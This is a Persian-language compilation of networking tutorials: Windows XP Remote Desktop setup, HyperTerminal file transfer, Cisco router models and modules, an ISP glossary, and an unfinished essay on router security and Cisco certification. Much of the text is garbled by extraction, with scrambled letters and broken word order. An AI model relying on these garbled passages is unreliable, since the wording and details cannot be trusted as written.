  : برای دسترسی به امکانات و اجرای این برنامه باید موارد زیر را در نظر داشته باشيد 

  .نصب شده و دسترسی به محيط اینترنت و یا شبکه را دارد   XP Professional یک کامپيوتر که در آن ویندوز -

ان محل شرکت            یک کامپيوتر دیگر در من     - رتبط هستند             (زل و یا در هم م م ا ه ی ب ق شبکه داخل ه از طری ا امکان    )ک  ب

     اینترنت ، مودم دسترسی به

   نام کاربری ، کلمه رمز عبور و مجوزهای مناسب -

   :Remote Desktopبرپايی سيستم 

  .را انتخاب کنيد   System وارد شده و سپس گزینه Control Panel به -١

ه  Remoteسب  در برچ -٢ ائين   Allow users to connect remotely to this computer ، گزین ه در پ  را ک

  .پنجره قرار دارد انتخاب نمائيد 

  .را کليک کنيد   ... Select Remote Users، گزینه   Remote Desktop در محيط -٣

  .ئيد را انتخاب نما…Add گزینه Remote Desktop Users   در کادر محاوره ای-۴

  . را برای تعيين موقعيت جستجو کليک نمائيد … Locations گزینه  Select Users در کادر محاوره ای -۵
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  . را کليک نمائيد …Object Typesها ی مورد نظرتان نيز گزینه   برای تعيين نوع آبجکت-۶

ورد   .کليک نمائيد را  Okهنگامی که نام مورد نظرتان را یافتيد آن را انتخاب کرده و سپس        -٧ ام م در این مرحله ن

   .قرار می گيرد  Remote Desktopنظر شما در ليست کاربران 

  

  :بدین منظور. در این مرحله سيستم مزبور آماده برقراری ارتباط از راه دور می باشد

وی       -١ ه  Start از من ه   Programs گزین پس گزین سمAccessorise و س رده و از ق اب ک ت  را انتخ

Communications   نيز گزینهRemote Desktop Connection  را انتخاب کنيد.  

  . نمایان می شود   Remote Desktop Connection در این مرحله پنجره -٢

  .را انتخاب کنيد تا امکان تعيين گزینه های بيشتری برای تان فراهم شود  Options گزینه -٣

سمت -۴ ائ   Computer از ق وی پ د    و از من اب کني ان را انتخ ر ت ورد نظ امپيوتر م ام ک ادنی آن ن ه  .ين افت ا گزین و ی

browse more for…   را برای دسترسی به نام کامپيوتر های دیگر انتخاب کنيد.  

ای -۵ ادر ه ام  domainو   passwordو   user name در ک ور و ن ز عب اربری ، رم ام ک ا ن ه ی ه ترتيب شناس  ب

domain وارد کنيد مربوط به شبکه را.  

  .را انتخاب کنيد   Connect سپس برای برقراری ارتباط گزینه -۶
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  HyperTerminal آموزش
  

  :معرفی 

ن         ي توان یه توسط آن م   ک است   ی برنامه ا  HyperTerminalنترنت  یلها بدون استفاده از ا    یارسال فا  تفاده از خطوط تلف و (د با اس
ا . دیي افت نما  ی را در  ییلهایا از آنها فا   یتان ارسال و      را از هر نوع به دوستان      ییلهایفا) نترنتیاز به ا  يبدون ن  د     یش م مانن د شما ه

د   (یره ساز يلها توسط ابزار ذخ  یمن از ارسال فا    سمت قصد دار  ی د در ای خسته شده ا  ...)  وکسی ، دCDمانن ه بررس  ی ن ق  یم ب
ناخته شده و   ک جذاب و یتهاي از قابلیکی ر ش دوز  یمت ا ک ن الا ییه توان ا یافت فا ی در ارسال و در یی ب ام    یله ه ن  Hyper مختلف ب

Terminalمی بپرداز .  

HyperTerminalست؟ي چ  

 HyperTerminal  ه ا يو بدون ن(د با استفاده از خطوط تلفن ي توان یه توسط آن م   ک است   ی برنامه ا ا یفا) نترنت یاز ب وع   ییله  را از هر ن
ا ا  ک در صورت    . دیي افت نما ی را در  ییلهایا از آنها فا   یتان ارسال و     به دوستان  س  ی ار ب ه در ب وارد شما د  یارين برنام ه  یازي گر ن ی از م  ب
 Hyperبرنامه . دينک یی صرفه جویادینترنت تا حد زی اتصال به اینه هاید در هزي هستن قادرید داشت، بنابراينترنت نخواهیاستفاده از ا
Terminal  ا نحوه   ي  توان یردن با آن م    کار  که شما با چند بار      ک ی به صورت  دهی گرد یاملاً ساده و آسان طراح    ک ی به صورت املاً ک ار ک د ب
  .دیآشنا گرد

رنده به يگ وتر شما و فرديامپکه ک است یافکد فقط   یاز ندار يانات خاص ن  ک شما به ام   HyperTerminal استفاده از    یبرا: تهک ن
  .دیيافت نمایا دریا ارسال و ل مورد نظرتان ریق خط تلفن فای مودم مجهز باشد تا شما از طریک

   »Hyper Terminal نحوه استفاده از 

را ودن  یب ال نم دوز ی در وHyperTerminal فع ه روxpن کلک Startد يلک ی ب و ي وده و از من ه ترت  ییشوک ی نم ده ب اهر ش ب ي ظ
Accessories > All programs > Hyper Terminal >Communications اب ره  ينک را انتخ ا پنج  Connectionد ت
Description  را یکادر فوق کدر . ش ظاهر گردد ی صفحه نما  ی در رو سمت  ک  اتصال وارد  ی نام را ب ون را یک  آیک  Iconرده و از ق

و Connect Toدر پنجره  . دي نک يک لک OKد يلک یبه دلخواه انتخاب نموده و بر رو شور محل  ک  Country / region ییشوک  ی از من
ود کس ا یه در اک(ونت خ اب نمای را باIRANنج ر ایيد انتخ ارج از اکنید مگ دگیه خ شور، کد ک AreaCode، )دينک ی میران زن

phonenumber      ی شماره تلفن تماس و از منو ConnectUsing     رده و  ک را انتخاب    )  باشد ین جا مودم م   یه در ا  ک( ابزار مورد استفاده
  .دیي نمايکلک OKد يلک یبررو

ان را ارسال    ی او فاید براي خواهیه مک ید شماره تلفن شخصی شما باphone numberدر قسمت : تهکن ورد نظرت د را ي نکل م
  .دیيوارد نما

ر رو     یافک  شما   Connectدر پنجره    ا شماره گ     ي نک يک لک Dialد  ي لک ی است ب ام گ   یري د ت ه در صورت     ی در ا . ردي  انج  یه م  ک  ین مرحل
ن تماس و    یريي د تغي خواه ررو  یافک د ي ونت خود ده کا محل س  ی  در شماره تلف  Dialing propertiesا ی  Modify یدهاي لک ی است ب

ام      یريبعد از چند لحظه شماره گ     . دیيرات مورد نظر را اعمال نما     يي ظاهر شده تغ   ی محاوره ا  یادرهاکرده و در    ک يکلک ودم انج  توسط م
  . شودیم

  »د انجام دهد يرنده بايه فرد گک یماتيتنظ

و  ی است در پنجره اصلیافک فقط HyperTerminalق یل از طری فایکافت ی دریبرا ه از من ه  ی گزCall ی برنام  Wait For a Callن
  .دينکافت ی را دری ارسالیلهاید فاي توانیبعد از چند لحظه شما م. دیيرا انتخاب نما

  »لها يارسال فا

را . دیبوطه متصل شد  به شماره مریريد و توسط شماره گیمات مربوطه را انجام دادي تنظConnectه در پنجره    کنیبعد از ا    مشخص  یب
ا  ي نک را انتخاب Send Fileنه ی گزTransfer ی از منوی ارسالیلهایردن فاک ا  ی در روSend File یادر محاوره ا ک د ت ش ی صفحه نم

ر رو       ی  انتخاب فا   ی ظاهر شده برا   یادر محاوره ا  کدر  . ظاهر گردد  ان ب ورد نظرت ا    ي نک يک لک Browseد  ي لک یل م  یادر محاوره ا   ک د ت
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Select File to Sendردد ی صفحه نمای در رو وق شما   یادر محاوره ا ک در . ش ظاهر گ ان را انتخاب    ی  است فا یافک  ف ورد نظرت ل م
  .ردید تا عمل ارسال انجام پذينک يکلک Sendد يلک ی بر روSend file یادر محاوره اکد و در یي نمايکلک Openد يلک ینموده و بر رو

  »غام به صورت متن يارسال پ

ه  ید در پنجره اصل  یه به شماره مورد نظرتان متصل شدکنیعد از اب ستق    Hyper Terminal برنام ه صورت م تن  ي  توانیم م ي شما ب د م
را  ی  در ایپیمتن تا. دیيپ نمایمورد نظرتان را تا سمت ب ه  ک  دوست شما   ین ق ه   يامپک ه ب  متصل  Hyper Terminalوتر او توسط برنام

  . باشدیز قابل مشاهده ميد نیشد

   »یافتي دریلهاي فایره سازي ذخی برایردن محلکمشخص 

را . دیي ف نما ی ش فرض تعر   يق برنامه را به صورت پ       ی از طر  یافتی در یلهای فا یره ساز ي ذخ ی را برا  ید محل ي توان ی م یشما به سادگ    یب
و  ی ا ه  ی گزTransfer ین منظور از من ا  یي  را انتخاب نما Receive Fileن ا  یرو مربوطه در  یادر محاوره ا ک د ت ش ظاهر  ی صفحه نم

  .دیين نمايي تعیافتیل دری فایره سازي ذخی را براید محلي توانی مBrowseد يلک نمودن يکلک فوق شما با یار محاوره اکدر . گردد

   »Hyper Terminalق برنامه ي ارتباط از طری اتصال بعد از برقراریره سازيذخ

ا  . دينک را انتخاب    Saveنه  ی گز File ییشوک ین منظور از منو   ی ا یبرا. دیيره نما يخ استفاده مجدد ذ   ید اتصال فوق را برا    ي توان ی شما م  ب
را    ک یار اتصال شما با اسم    کن  یا وده ا    یه شما ب را  یره م ي د ذخی  آن مشخص نم ردد، ب رار ی گ را  ی برق ر ی ، در زی دفعات آت  ی اتصال ب

 يکلک نام اتصال فقط ی است به رویافک Accessories > All Programs > Start HyperTerminal Communications یمنو
  .دينک

  »قطع نمودن اتصال 

ا در ی د و ی ردکتان ارسال    دوستان ینظرتان را برا    مورد یل ها یه فا کنیبعد از ا   را ی ردکافت  یا از آنه ه رو    ید، ب  ی قطع نمودن اتصال ب
  .د تا اتصال شما قطع گرددیي نمايکلک Disconnectنه یگز

   »Hyper Terminalنوار ابزار برنامه 

ه است     ییها ونیکاستفاده به صورت آ     مجموعه دستورات پر   HyperTerminalدر نوار ابزار برنامه      رار گرفت در .  در دسترس شما ق
  .دينک را انتخاب Tool Barنه ی گزView یر منویها وجود نداشت از ز ر نوار منویه نوار ابزار برنامه در زک یصورت
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  !!این قسمت را چون به نظرم کامل آمد و دیگر حال تایپ کردن نداشتم آورده ام 
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  Cisco روترهای با آشنايی
  
ام  نیمحبوبتر و نیتر  آشناCisco شبکه محصولات انيم در ر   معمولا Cisco  محصولات  .دارد را ن ئن  نیبهت ر  و مطم ا  نیت  یابزاره

ه  خود  مشکلات و مسائل حل در شبکه کی ریمد است دي بعCisco  وترر کی داشتن با .هستند شبکه ن  ب ه  چرا  .برسد  بست  ب  Cisco ک
  .است کرده شنهاديپ را یحل راه یا مسئله هر یبرا
 
د  .میشو  ی نم Cisco محصولات ریسا وارد و ميکن یم  بحثCisco ی روترها درباره یمقدار تنها نجایا در ما رداختن  است  یهیب ه  پ  ب

ه  دي توان ی م Cisco زاتي تجه از کی هر و محصولات از کامل یآگاه یبرا .ستين ریپذ امکان زي نCisco ی روترها کامل اتيجزئ  ب
  .دیينما  مراجعهcisco.com تیسا
 
 

ر  علاوه  .است موجود یروشها نیتر جیرا جمله  ازISP  با کاربران ارتباط یبرقرار منظور  بهCisco یروترها از استفاده امروزه  ب
  .رنديگ قرار استفاده مورد....  و Firewall , Routing  VoIP رينظ یمختلف یها منظور به توانند ی مCisco یروترها نیا

  
  : از عبارتند اختصار به آنها از یبرخ که بوده یمختلف یمدلها یدارا Cisco یروترها

  
  

  
  
 

: Cisco 2511 
  

  .باشد یم Ethernet ماژول 1 یدارا مدل نیا •
  .است Onboard  الیسر پورت یدارا Leased  خط اتصال یبرا •
 .ست ادارا زين را شیافزا  امکان و باشد یم تیمگابا 8 یال 4 آن Ram زانيم •
 .استا دار زين را شیافزا ای ضیتعو  امکان و بوده تیمگابا 16 یال 8 آن Flash زانيم •
 .کرد اضافه آن به E1/T 1 ای Leased خط اتصال یبرا الیسر پورت 2 توان یم اما .کرد اضافه آن به توان ینم ماژول •
   .باشد یم Mb/s 10 آن Ethernet سرعت •
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: Cisco 26XX 
  

   .باشد یم Ethernet  پورت 2 ای پورت 1 یدارا مدل نیا •
 کارت به Leased خط اتصال یبرا •

   .است ازين WIC2T  ای  WIC1T  الیسر
 .باشد یم تیبامگا 256 حداکثر و 16 حداقل آن Ram زانيم •
 .باشد یم  تیمگابا 128 حداکثر و 8 حداقل آنFlash زانيم •
 .کرد اضافه آن به توان یم ماژول 1 حداکثر •
   .کرد اضافه آن به توان یم WIC  کارت 2 حداکثر •
    .باشد یم 10 ا ی100 /10 آن Ethernet سرعت •

  
  
  

  
  
 

Cisco 36XX :   
  
  

    .باشد یم Ethernet پورت 2 ای پورت 1 یدارا مدل نیا •
  . است ازين WIC2T ای WIC1T 1 الیسر کارت و NM- FE2W  ماژول به آن به  Leased خط اتصال یبرا •
 .ست ادارا زين را شیافزا امکان و باشد یم 32 آن Ram زانيم •
 .استا دار زين  را شیافزا ای ضیتعو امکان و بوده 8 آن Flash زانيم •
  .کرد اضافه آن به توان یم ماژول 6 حداکثر •
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   .باشد یم 100 آن Ethernet سرعت •
  
  
 

  
: Cisco 5300 

  
 .باشد  یم Access Server فقط و نبوده  Router مدل نیا •
 .است 100 سرعت با یگرید  و 10 سرعت با یکی .است Ethernet پورت 2 یدارا •
   .کرد اضافه آن به توان ینم Leased  خط •
 .استا دار  زين را شیافزا امکان و باشد یم 64 آن Ram زانيم •
 .استا دار زين  را شیافزا ای ضیتعو امکان و بوده 16 آن Flash  زانيم •
 .کرد اضافه آن به توان یم ماژول 3 حداکثر •
  .همزمان  VoIP خط120 یبرا کرد اضافه آن به توان یم E1  خط 4حداکثر  •

  
 
  

  
 
  

: Cisco 5350 
  

 .باشد یم  10 /100سرعت با Ethernet پورت 2 یدارا مدل نیا •
   .کرد اضافه آن به توان یم E1  خط 7 حداکثر •
  .کرد استفاده Leased خط اتصال یبرا توان  یم آن از که است Onboard پورت الیسر دو یدارا •
 .استا دار زين را  شیافزا امکان و باشد یم تیمگابا 128 آن Ram زانيم •
 .استا دار زين را شیافزا  ای ضیتعو امکان و بوده تیمگابا 32 آن Flash زانيم •
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 .کرد اضافه آن به توان یم ماژول 3 حداکثر •
   .کرد اضافه آن به توان یم E1  خط 7 حداکثر •

 
 
 

  
 
  

Cisco 1750 
  

   .باشد یم Ethernet ماژول 1 یدارا مدل نیا •
  .کرد اضافه WAN  کارت 2 توان یم مدل نیا به •
   .است Gateway Voice منظور به فقط آن استفاده مورد •
 .کرد اضافه آن به WIC  ماژول دیبا آن به Leased خط اتصال یبرا •
 .استا دار زين  را شیافزا امکان و باشد یم تیمگابا 16 آن Ram زانيم •
 .استا دار زين را شیافزا  ای ضیتعو امکان و بوده تیمگابا 4 آن Flash  زانيم •
  .کرد استفاده VoIP 4 منظور به خط  حداکثر از توان یم VIC-2FXO یکارتها از استفاده با •
 .کرد اضافه آن به توان ینم ماژول •
   .باشد یم 10/100 آن Ethernet سرعت •

 
 
 

  
  
 
  

: Cisco Vg200 
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    .باشد یم Ethernet  ماژول 1 یدارا مدل نیا •
  .است Voice Gateway منظور به فقط آن استفاده مورد •
   .ستين ممکن آن به Leased  خط اتصال •
 .استا دار زين  را شیافزا امکان و باشد یم تیمگابا 16 آن  Ram زانيم •
 .استا دار زين را شیافزا  ای ضیتعو امکان و بوده تیمگابا4 آن Flash  زانيم •
 .کرد اضافه آن به توان یم ماژول 1 حداکثر •
   .باشد یم 100 /10 آن Etherne t سرعت •

 
 

ر  توان یم یمختلف یها ماژول و داشته یشتريب یریپذ انعطاف تيابلق روترها ریسا به نسبت Cisco یروترها شد گفته که همانگونه  ب
ه  ییها ماژول انواع انيم از .نمود استفاده آنها از مختلف یها منظور به و کرد نصب آنها یرو وان  یم  ک ر  ت ا  یرو ب  Cisco یروتره

  : کرد اشاره ریز موارد به توان یم کرد نصب
  

: NM16AM 
  

   .باشد یم  Kb/s 56 سرعت با Internal مودم 16 همراه به لفنت خط 16 یبرا Data  ماژول
  

NM32A :   
  

اژول  نی ا از اگر  .باشد  یم Internal  مودم بدون تلفن خط 32 یبرا Data  ماژول تفاده  م ودم  شود  اس ه  External 32 دی با م ر  ب  روت
   .شود وصل

  
: NM16A 

  
اژول  نی ا از اگر  .دباش  یم Internal  مودم بدون تلفن خط 16 یبرا Data  ماژول تفاده  م ودم  16 دی با شود  اس ه  External م ر  ب  روت
  .شود وصل

 
سمت   نی ا در رم ق زار  ن ه  ميکن  یم  یمعرف  را یاف ا يدق ک ر  کی  "ق ب  را روت د  یم  یساز  هيش ام  .کن رم  نی ا ن زار  ن  RouterSim's اف

CCNASim Router Simulator یتعداد ديتوان یم افزار نرم نیا کمک به .است Router , Switch رار  خود  شبکه  در را ... و  ق
 ریز آدرس از ديتوان یم را افزار نرم نیا .ديده رييتغ را آنها Configuration یراحت به و ديکن Telnet  روترها از کی هر به و ديده

 Download از شبکه واقعی و  مثل یک شبيه سديکن دايپ ديتوان یم هم را یگرید جالب یافزارها نرم تیسا نیا در البته .ديکن  .... : 
 

http://www.routersim.com 
  
  

  .خوب حال  با بعضی از مفاهيم و اصطلاح ها هم در اینجا آشنا ميشویم تا بعد مشکلی برای فهم مطلب پيش نياید 
  

: ISP  
  !!!  شود یم گفته ISP نترنتیا یده سیسرو مراکز به
  

: ITSP 
  
 Internet Telephony Service ) . (Provider شود یم گفته Phone2Phone , ITSP یده سیسرو مراکز به
  

: DVB  
  
 از و شده  متصل  شید به کابل کی لهيبوس و رديگ یم قرار وتريکامپ یها Slot  از یکی در که شود یم اطلاق یافزار سخت کارت به
  .کند Receive تواند یم آن قیطر
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: Receiver  
  
   .دهد یم انجام را شید از اطلاعات افتیدر عمل و شده وصل شید به که استDevice  کی
  

  
 

: Transiver  
  
  .دهد یم انجام را شید به اطلاعات ارسال عمل و شده وصل شید به که است Device  کی
  

  
  

: Cache Server  
  
رده  ینگهدار خود در را آنها توسط شده دیبازد یتهایسا ,برانکار کارکردن هنگام بتواند که شود یم گفته یزاتيتجه به  یصورت  در و ک
 Cache قی طر از را خود پاسخ باند یپهنا در ییجو صرفه و شتريب سرعت با دینما دیبازد را تهایسا همان بخواهد گرید کاربر کی که

Server وجود .کند افتیدر Cache Server را شبکه راندمان و کند ییجو صرفه باند یپهنا ندازها در درصد 50 تا تواند یم شبکه در 
  .ببرد بالا

 
: Accounting/Billing 

  
ه   ISP کی در کاربران تیریمد یافزارها نرم به رم  نی ا .شود  یم  گفت ا  ن رل  افزاره تفاده  زاني م کنت اربران  اس  را نترنت یا شبکه  از ک

ه  دارد نام ISP Util و بوده دوران پردازان داده شرکت محصول رمانکشو در نهيزم نیا در افزار نرم نیتر معروف .دارند برعهده  ک
ه  زي ن VoIP Util افزار نرم نيهمچن .کنند یم استفاده آن از کشور یها ISP از درصد 40 از شيب اکنون هم را  ک رل  یب  مصرف  کنت

  .باشد یم شرکت نیا محصول گرید باشد یم ها ITSP مختص و رفته بکار یتلفن کاربران
 

: Firewall 
 
ه  شبکه  یت يامن بیضر  بردن بالا آن فهيوظ و دارد وجود یافزار نرم بصورت هم و یافزار سخت بصورت هم وگ  منظور  ب  از یريجل

Hack زیاد جدی نگيرید !!!  باشد یم جو سود افراد توسط استفاده سوء و شدن!! 
 

: URL Filtering 
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ه  کاربران ورود  از یريجلوگ آن فهيوظ و دارد وجود یافزار نرم بصورت هم و یافزار سخت بصورت هم ا  ب  و یاخلاق  ري غ یتهایس
  .باشد یم مجاز ريغ
  

: MultiPort 
  

ه  است  یدستگاه  ا  ISP در معمولا  ک ورد  ه تفاده  م رار  اس ارت  کی  یدارا .ردي گ یم  ق وده  PCI  ک ر  و ب  کی  Mainboard یرو ب
وان  یم MultiPort  نصب با .شود یم نصب وتريکامپ ا  Comport ت امپ  کی  یه زا  را وتريک داد  و داد شیاف ه  Modem ی ادی ز تع  ب
  .کرد متصل وتريکامپ کی
 

: RAS  
  
ه  Modem ی ادیز تعداد که شود یم گفته یوتريکامپ به وده  متصل  آن ب اربران  و ب د  یم  ک ه  توانن رده  Connect  آن ب  نترنت یا از و ک

  .کنند استفاده
 

: Access Server  
  
 .کنند دايپ یدسترس نترنتیا به آن قیطر از و کرده Connect  آن به باشند قادر یتنترنیا کاربران که شود یم گفته ییدستگاهها به
 

: Gateway VOIP  
  
ادر  یتلفن  کاربران که شود یم گفته ییدستگاهها به ند  ق ه  باش رده  Connect  آن ب ا  آن قی طر از و ک اط  مختلف  یکشورها  ب  یتلفن  ارتب

 .کنند برقرار
  

: VOIP Carrier  
  
اط  در نترنت یا قیطر از  VoIP Gateway با که شود یم گفته یلاتيتشک به وده  ارتب اط  و ب ا  ارتب  و VoIP Gateway نيب  یتلفن  یه

  .سازد یم برقرار را مختلف یکشورها
 
  

  ISP :به اربرک ارتباط یراهها انواع
  

الوگ  خط  د  یم  ISP هر .  E1  ،Wireless، ADSL خط  Leased خط  ، آن ت  یراب  توان ه  یابيدس د  ای  کی  از نترنت یا ب  از روش چن
تفاده  ری ز یروشها  د  اس الوگ  خط  .کن  E1 ،  Wireless،  ADSL،   Receive Only Dish ،  Dish خط  Leased  خط  ، آن

Send/Rec.  
  

  !!خوب کافی است  دیگر زیادی از بحث اصلی دور شدیم 
 
 

  
رین  که ور هستندبا این بر اطلاعات امنيت متخصصان کنونی دوران  در اع  بهت  دف
اد  نفوذگران برابر در ه  ایج اعی   لای ر  در های دف ه  زی  چنانچه  است  شبکه  های  لای

ند  متمرکز مرکز در دفاعی دیواره های چنين ا   آسيب  خطرات  باش ذیری ه م  پ ه  ه  ب
ان  دازه  هم الاتر  ان د  می  ب ا  رون وان  می  آی اع  ت ده  آورد ره را در عمق  دف ای  آین  دني

دم  یک  نفوذگران هميشه مثل باز ویا شمرد بر امنيتی متخصصان  متخصصان  از ق
ر  دسته  دو از یک  کدام که این بود خواهند امنيتی جلوتر ری   ب د  دیگری برت  خواهن

ه  نه و کرد پيش بينی توان می نه که است چيزی یافت ات  ارای ن  در قطعی  نظری  ای
 است  باشد جنگی  می مشخص واضحی صورت به که چه آن می باشد درست باره
ه  ان  ک ن  مي ه  دسته  دو ای انی گروهی   دارد ادام روه  از زم ری  دیگری  گ ایی  برت  ه

ر  شاید . شوند می مواجه هایی شکست با هم و گاهی آورند می بدست ه  است  بهت  ک
د  پيدا ادامه ابد تا هم شاید یا مدت نامعلومی تا سایبری جنگ چنين بگویيم  یکی  . کن

ه  در بحث مورد موضوعات از ه   اعیدف  استراتژی  زمين اد لای اعی  های  ایج  در دف
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ه  است معنی بدان باشد این می شبکه افزاری سخت اجزای به توجه با شبکه اجزای کل کردن امن و عمق اوت  اجزای  از ک ز  متف  می  ني
وان  می  را اجزا مهمترین اخير مفهوم به توجه با نمود آنها استفاده اصلی کاربرد بعلاوه را متفاوتی های کاربری توان ر  ت  یکی  مردش  ب
رای  ارتباطی های مهره (Router) باشند بعنوان می که بنيادین اجزاء این از تونفقرات  ب سيریاب  شوند  می  محسوب  شبکه  یک  س ا   م ه

سترده  ی شبکه ها ایجاد در آنها ستن پيو هم به و محلی های شبکه کل اندازی راه در افزاری سخت بخش این اهميت ر  گ يده  کسی  ب  پوش
 نيز ها سویيچ از با استفاده شد می هم اجزا این بدون است بوده اجزایی چنين خدمات مرهون شک بی هم امروزی تاینترن نيست توسعه

ا  اگر که بودید کرده فکر حال به تا آیا ولی داد گسترش را ها شبکه ان  ب ن اوری  هم دیمی  ف ا  شبکه  ق ه  خواست  می  ه يش  ب رود  پ  حجم  ب
 همچنين و سریع تبادلات سرعت افزایش با هم ها روتر شد زیادمی ی آور سرسام چه حد تا رانکارب افزایش تعداد این با ها داده ترافيک
وده  اجزا این های امنيتی بحث هم آن و آوردند ارمغان به گذشته دهی طی در را خدمات از دیگری نوع ها شبکه قابليت گسترش ایجاد  ب
ر  مبحث  در موجود  ریسک های و امنيتی های راهبرد شماست روی پيش کنونی مقاله در که چيزی آن است ا  روت شود   می  شامل  را ه
 هم از یکدیگر با نزدیک درتعاملی بخش دو این ولی نمود بررسی هم از مجزا بخش دو به توان می را ها روتر مورد در را امنيت بحث
 دیگری  و بماند امان در نفوذگران حملات برابر در تا روتر ميباشد یک کردن ایمن جهت در عملی اقدامات بحث یکی پذیرند می ثير تا

 می شوند جمع خوبی به هم کنار در اگر نکته دو این باشد می نفوذگران برابر در عامل بازدارنده یک عنوان به ها روتر خود از استفاده
ه  گفت  ميتوان انصورت در که ایجاد نمود ابزاری توان ه  ک اع  های  تکنيک  از یکی  ب دا  دست  عمق  در دف رده  پي ی   ک م ول سایل  اگر  ای  م
رتبط  اجزای  دیگر  بلکه  ميافتد خطر به روتر امنيت خود تنها نه باشد شده نگرفته نظر در بالا جنبه دو از یکی امنيتی ا  م  کل  در و آن ب
 ایبر آن امنيتی های کاربری و ها روتر امنيت موضوع که است گونه افتد بدین می جدی خطر به نوعی به آن با مرتبط شبکه کل امنيت

ادی  و اساسی نکات و شود تاکيد جنبه دو هر بر امکان حد تا که بود خواهد این بر ما مقاله سعی در.کند می پيدا نمود ما ردد   مطرح  بني گ
Pre دوره همچنين و Network+ باشند رابا داشته هایی اشنایی حداقل محترم کنندگان مطالعه شود می پيشنهاد قبل از. 

 
ه  ل  زا cisco  را مطلب  البت ان  طوری Introduction to cisco Networking technologies (ICND) قبي ود  خواهيم  بي ا  نم  ت

 ناپذیرجدول  اجتناب واقعيت یک – راهنمایی بگيرند یک را فرا مطالبی ندارند کاملی آشنایی بنيادین طور به شبکه مبانی با که دوستانی
د  پشت سر مرحله به مرحله را سيسکو های دوره هستند مند علاقه که باشد می کسانی برای هم زیر ل  و بگذرانن ه  نای دارک  دریافت  ب  م
سانی  -بگذرانند کامل طور به را ها دوره این اند توانسته جمله که از هستند کمی افراد – شوند ومعتبر المللی بين شرکت این ه  ک  دوره ک
 شرکت پيشرفته سطوح مدارک دریافت به موفق خصوص به دبرسانن پایان به موفقيت با را اقای نظر Jeffery A. Martin مورد های

 کدام هر باشد می در ها بيشتر افراد اینگونه خواستگاه شوند می افزاری نرم و تحقيقاتی مراکز جذب براحتی شوند ICP و ISPسيسکو 
ه  دانست  مدارکی برابر حدودی تا ميتوان را ها دوره این از دس  یک  ک وم  مهن ه در  عل شگاه  رایان ا  دان را  دوره ت د  می  دکت  نظر  از گذران

 در سيسکو متخصص یک عملی نظر از نيست قياس قابل اصلا متخصص سيسکو یک با کامپيوتر مهندس یک عملی های تجربه کسب
 از را موضوع این . باشند می برابر مسایل از بسياری در هم تئوری نظر از دارد قرار رایانه یک مهندس به نسبت بالاتری بسيار سطح
ن  توانایی اگر پس نيست کنيد می فکر که هم ها آسانی آن به مدارک این گرفتن که بگيرید نظر جهت در این ا را  دور ای  حس  خود  در ه
ا  اجتناب ایند می در مد به عنوان که هایی چيز متاسفانه کنيد بسنده دانشگاهی مدارک همان به است بهتر کنيد نمی ذیر  ن م  پ  در .هستند  ه
ایی  چيز زمان گذشت با و آیند می در شکل مد به هایی چيزی گاهی چند از هر نيز شبکه علوم شين  دیگر  ه د  آن جان ا  م شوند  ه  جای  مي
  . است   خالی Fashion Tvدر  فقط ها مد گونه این

 
ه  دوستان از یکی پيش دهه یک حدود در دورانی ه  گفت  می  من  ب سه  یک  در خواستی  اگر  ک سی  جل ر  دهن  حرف  یک  و کنفران  کن  پ

ه  گوییب زی  کسی  ک د  چي ه  نفهم ن  سرعت  ب ه  ای ا   وTransmission control protocol / Internet protocol: آری  بگو  را جمل  ی
ر  کسی  هر با هم شبکه سطح در حتی یا جایی هر در هم امروزه . شبکه نامتعارف اصطلاحات دیگر حتی یا خودمان TCP/IP همان  ب
ا  معنی حتی اینکه بدون اورند می زبان بر را ها رهدو این نام شما فقط برای کنيد می خورد ی  ی ه  خود  حت شکيل  جمل ده  ت د   دهن را بدانن  آن
يم  می  گرچه  بکشند  دیگران رخ به را خود علمی بار فقط ها دوره این نام ذکر با دارند قصد گویی ه   دان ه اینگون د  اشخاص  ک ار  آن فاق  ب
د  یک است فقط وآسان سهل سيارب هم افراد اینگونه با خورد بر راه البته هستند علمی ه  کوچک  لبخن ن  ب ه  ای افی  اشخاص  گون ا  است  ک  ت
  . است  شدهMicrosof و Cisco Systemsهای  دوره متخصصان مهد ایران گویی کشور است جالب .ببرند پی شان اشتباه به خود

  
ه  شناسيم می همگی اشخاصی را بتهال نيستند هم کم دارند را سيسکو مدارک چندین داشتن ادعای که افرادی تعداد متاسفانه ه  ک ا  یک  ک  ی

ن  اینکه اند ولی کرده دریافت ایران عزیزمان کشور در حتی را سيسکو مدرک چند دار  ای سکو  متخصص  مق  شده  متمرکز  جایی  در سي
ا  خورد  بر در که است اینجا جالب – رسد می نظر ذهن به از دور کمی پایين باسنين هم آن باشند ه  ب راد  اینگون ه  سوال  یک  طفق  اف  از ن
ه  انجاست  شود پرسيدهSub Net مثال  طور به شبکه مبانی از بلکه تخصصی سيسکو های دوره ا  ک ه  دادن جواب  از ی انه  سوالتان  ب  ش
 – است صادق داستان همبن  همMicrosoftافزار  نرم مهندسی برای مدارک متاسفانه ندارند گفتن برای چيزی واقعا یا و کنند می خالی
 نبود لطف از خالی تنهایی به خود بالا مطالب شویم دانستن رهسپار علوم کسب ان دنبال به علوم داشتن به تظاهر جای به نيست بهتر آیا

ه  موفق  که کسانی تعداد زمان این تا که بسپارید خاطر به هم اینرا شوید اشنا می سيسکو شرکت های دوره تمامی با که حالا دن  ب  گذراني
 موفقيت فوق با های دوره گذراندن کنيدمنظور توجه نکته این به اند بوده دست دو انگشتان از کمتر اند شده موفقيت ها با دوره این کامل
د  می  هم شخصی چونکه است شرکت خود های معيار با و کامل ذبور  های  دوره در توان د   م نایی  و شرکت کن ا  آش م  را لازم ه  بدست  ه
رای  می شود   پيشنهاد باشد اشتهند تطبيق شرکت خود های معيار با ولی آورد سکو  شرکت  خود  در آخر  دوره سه  مدرک  سه  اخذ  ب  سي

راوان  کاری های تجربه با مجرب کاملا متخصصان وجود نظر از هم و ها آزمایشگاه کامل بودن نظر از هم کنيد کسب را ها آموزش  ف
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ران  داخل  در موسسات از عضیب حتی و فارس خليج حوزه های کشور شوید در می پشتيبانی شرکت سيسکو خود در دادی  ای ن  از تع  ای
 دوره و همچنين آزمایشگاهی ی ها ساعت است اهميت حائز سيسکو های دوره زمينه در که چيزی آن ولی دهند آموزش می را ها دوره
ه  در یا و شوند نمی ارائه یا موسسات گونه این در ها دوره این که است عملی های سيار  صورت ارائ ش  و محدود  ب اقص  و ردهف ه  ن  ارائ
رین  از یکی  ببرید پی نکته این به توانيد موسسات می اینگونه های آزمایشگاه از بازدید در خودتان شوند می سایل  مهمت اد  در م ری  ی  گي
 و رپذی امکان هم مالی نظر از تجهيزات اینگونه خرید که آنجا از است ها رشته این خبره اساتيد درکنار عملی تجربه کسب ها دوره این

